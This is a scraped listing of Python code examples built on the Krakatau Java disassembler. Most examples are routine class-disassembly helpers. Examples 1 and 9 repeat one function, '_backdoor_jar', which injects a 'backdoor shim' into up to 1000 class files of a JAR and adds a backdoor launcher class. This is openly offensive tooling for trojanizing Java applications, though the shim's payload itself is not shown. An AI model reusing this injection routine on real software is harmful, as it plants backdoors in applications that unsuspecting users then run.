예제 #1
0
    def _backdoor_jar(self, jar_path):
        zp = zipfile.ZipFile(jar_path, "a")
        count = 0
        for zinfo in zp.infolist():
            filename = zinfo.filename
            # inject our backdoor shim into every class that's not an inner class or has a _ 
            # to not get too crazy, we'll backdoor the first 100 classes we see and stop
            # TODO: come up with a better way to speed this up
            if count < 1000 and str.endswith(filename, ".class") and "$" not in filename and "_" not in filename:
                data = zp.read(zinfo)
                # disassemble class with Krakatau
                stream = Krakatau.binUnpacker.binUnpacker(data=data)
                class_ = ClassFile(stream)
                class_.loadElements(keepRaw=True)
                source = Krakatau.assembler.disassembler.disassemble(class_)
            
                # don't want to overwrite the "static" method
                if ".method static <clinit> : ()V" not in source and ".method static public <clinit> : ()V" not in source:
                    count += 1
                    # add backdoor and assemble again
                    backdoored_source = "\n" + source + self.backdoor_shim
                
                    lexer = tokenize.makeLexer(debug=False)
                    parser = parse.makeParser(debug=False)
                    parse_trees = parser.parse(backdoored_source, lexer=lexer)
                    backdoored_class = assembler.assemble(parse_trees[0], False, False, filename)[1]
                
                    # write backdoored class to zip
                    logging.debug("backdooring class" + filename)
                    zp.writestr(filename, backdoored_class)

        zp.writestr("dilettante/Dilettante.class", self.backdoor_launcher)
        zp.writestr("dilettante/sad_cat.jpg", self.image)
        zp.close()
예제 #2
0
    def _loadClass(self, name, subclasses):
        print "Loading", name.encode('utf8')[:70]
        data = self._searchForFile(name)

        if data is None:
            raise ClassLoaderError('ClassNotFoundException', name)

        stream = binUnpacker.binUnpacker(data=data)
        new = ClassFile(stream)
        new.loadSupers(self, name, subclasses)
        self.classes[new.name] = new
        return new
예제 #3
0
def disassembleClass(readTarget, targets=None, outpath=None):
    writeout = script_util.fileDirOut(outpath, '.j')

    # targets = targets[::-1]
    start_time = time.time()
    # __import__('random').shuffle(targets)
    for i,target in enumerate(targets):
        script_util.printVerbose('processing target {}, {}/{} remaining'.format(target, len(targets)-i, len(targets)))

        data = readTarget(target)
        stream = Krakatau.binUnpacker.binUnpacker(data=data)
        class_ = ClassFile(stream)
        class_.loadElements(keepRaw=True)

        source = Krakatau.assembler.disassembler.disassemble(class_)
        filename = writeout(class_.name, source)
        script_util.printVerbose('Class written to ' + filename)
        script_util.printVerbose('{} seconds elapsed'.format(time.time() - start_time))
예제 #4
0
def disassembleClass(readTarget, targets=None, outpath=None, printCPool=False):
    out = script_util.makeWriter(outpath, '.j')
    # targets = targets[::-1]
    start_time = time.time()
    # __import__('random').shuffle(targets)

    with out:
        for i,target in enumerate(targets):
            print 'processing target {}, {}/{} remaining'.format(target.encode('utf8'), len(targets)-i, len(targets))

            data = readTarget(target)
            stream = Krakatau.binUnpacker.binUnpacker(data=data)
            class_ = ClassFile(stream)
            class_.loadElements(keepRaw=True)

            source = Krakatau.assembler.disassembler.disassemble(class_, printCPool=printCPool)
            filename = out.write(class_.name, source)
            print 'Class written to', filename.encode('utf8')
            print time.time() - start_time, ' seconds elapsed'
예제 #5
0
def disassembleClass(readTarget, targets=None, outpath=None):
    if outpath is None:
        outpath = os.getcwd()

    # targets = targets[::-1]
    start_time = time.time()
    # __import__('random').shuffle(targets)
    for i,target in enumerate(targets):
        print 'processing target {}, {}/{} remaining'.format(target, len(targets)-i, len(targets))

        data = readTarget(target)
        stream = Krakatau.binUnpacker.binUnpacker(data=data)
        class_ = ClassFile(stream)
        class_.loadElements(keepRaw=True)

        source = Krakatau.assembler.disassembler.disassemble(class_)
        filename = script_util.writeFile(outpath, class_.name, '.j', source)
        print 'Class written to', filename
        print time.time() - start_time, ' seconds elapsed'
예제 #6
0
def disassembleClass(readTarget, targets=None, outpath=None):
    out = script_util.makeWriter(outpath, '.j')
    # targets = targets[::-1]
    start_time = time.time()
    # __import__('random').shuffle(targets)

    with out:
        for i,target in enumerate(targets):
            print 'processing target {}, {}/{} remaining'.format(target, len(targets)-i, len(targets))

            data = readTarget(target)
            stream = Krakatau.binUnpacker.binUnpacker(data=data)
            class_ = ClassFile(stream)
            class_.loadElements(keepRaw=True)

            source = Krakatau.assembler.disassembler.disassemble(class_)
            filename = out.write(class_.name, source)
            print 'Class written to', filename
            print time.time() - start_time, ' seconds elapsed'
예제 #7
0
def disassembleClass(readTarget, targets=None, outpath=None, outputHandler = consolePrint, logMachine = dummyLogMachineHandle):
    writeout = script_util.fileDirOut(outpath, '.j')

    # targets = targets[::-1]
    start_time = time.time()
    # __import__('random').shuffle(targets)
    for i,target in enumerate(targets):
        outputHandler('processing target {}, {}/{} remaining'.format(target, len(targets)-i, len(targets)))

        data = readTarget(target)
        stream = Krakatau.binUnpacker.binUnpacker(data=data)
        class_ = ClassFile(stream)
        class_.loadElements(keepRaw=True)

        logMachine.beginFile(target)
        source = Krakatau.assembler.disassembler.disassemble(class_, logMachine)
        filename = writeout(class_.name, source)
        
        outputHandler('Class written to', filename)
        outputHandler(time.time() - start_time, ' seconds elapsed')
예제 #8
0
def disassembleClass(readTarget, targets=None, outpath=None):
    writeout = script_util.fileDirOut(outpath, '.j')

    # targets = targets[::-1]
    start_time = time.time()
    # __import__('random').shuffle(targets)
    for i, target in enumerate(targets):
        script_util.printVerbose(
            'processing target {}, {}/{} remaining'.format(
                target,
                len(targets) - i, len(targets)))

        data = readTarget(target)
        stream = Krakatau.binUnpacker.binUnpacker(data=data)
        class_ = ClassFile(stream)
        class_.loadElements(keepRaw=True)

        source = Krakatau.assembler.disassembler.disassemble(class_)
        filename = writeout(class_.name, source)
        script_util.printVerbose('Class written to ' + filename)
        script_util.printVerbose('{} seconds elapsed'.format(time.time() -
                                                             start_time))
예제 #9
0
    def _backdoor_jar(self, jar_path):
        zp = zipfile.ZipFile(jar_path, "a")
        count = 0
        for zinfo in zp.infolist():
            filename = zinfo.filename
            # inject our backdoor shim into every class that's not an inner class or has a _
            # to not get too crazy, we'll backdoor the first 100 classes we see and stop
            # TODO: come up with a better way to speed this up
            if count < 1000 and str.endswith(
                    filename,
                    ".class") and "$" not in filename and "_" not in filename:
                data = zp.read(zinfo)
                # disassemble class with Krakatau
                stream = Krakatau.binUnpacker.binUnpacker(data=data)
                class_ = ClassFile(stream)
                class_.loadElements(keepRaw=True)
                source = Krakatau.assembler.disassembler.disassemble(class_)

                # don't want to overwrite the "static" method
                if ".method static <clinit> : ()V" not in source and ".method static public <clinit> : ()V" not in source:
                    count += 1
                    # add backdoor and assemble again
                    backdoored_source = "\n" + source + self.backdoor_shim

                    lexer = tokenize.makeLexer(debug=False)
                    parser = parse.makeParser(debug=False)
                    parse_trees = parser.parse(backdoored_source, lexer=lexer)
                    backdoored_class = assembler.assemble(
                        parse_trees[0], False, False, filename)[1]

                    # write backdoored class to zip
                    logging.debug("backdooring class" + filename)
                    zp.writestr(filename, backdoored_class)

        zp.writestr("dilettante/Dilettante.class", self.backdoor_launcher)
        zp.writestr("dilettante/sad_cat.jpg", self.image)
        zp.close()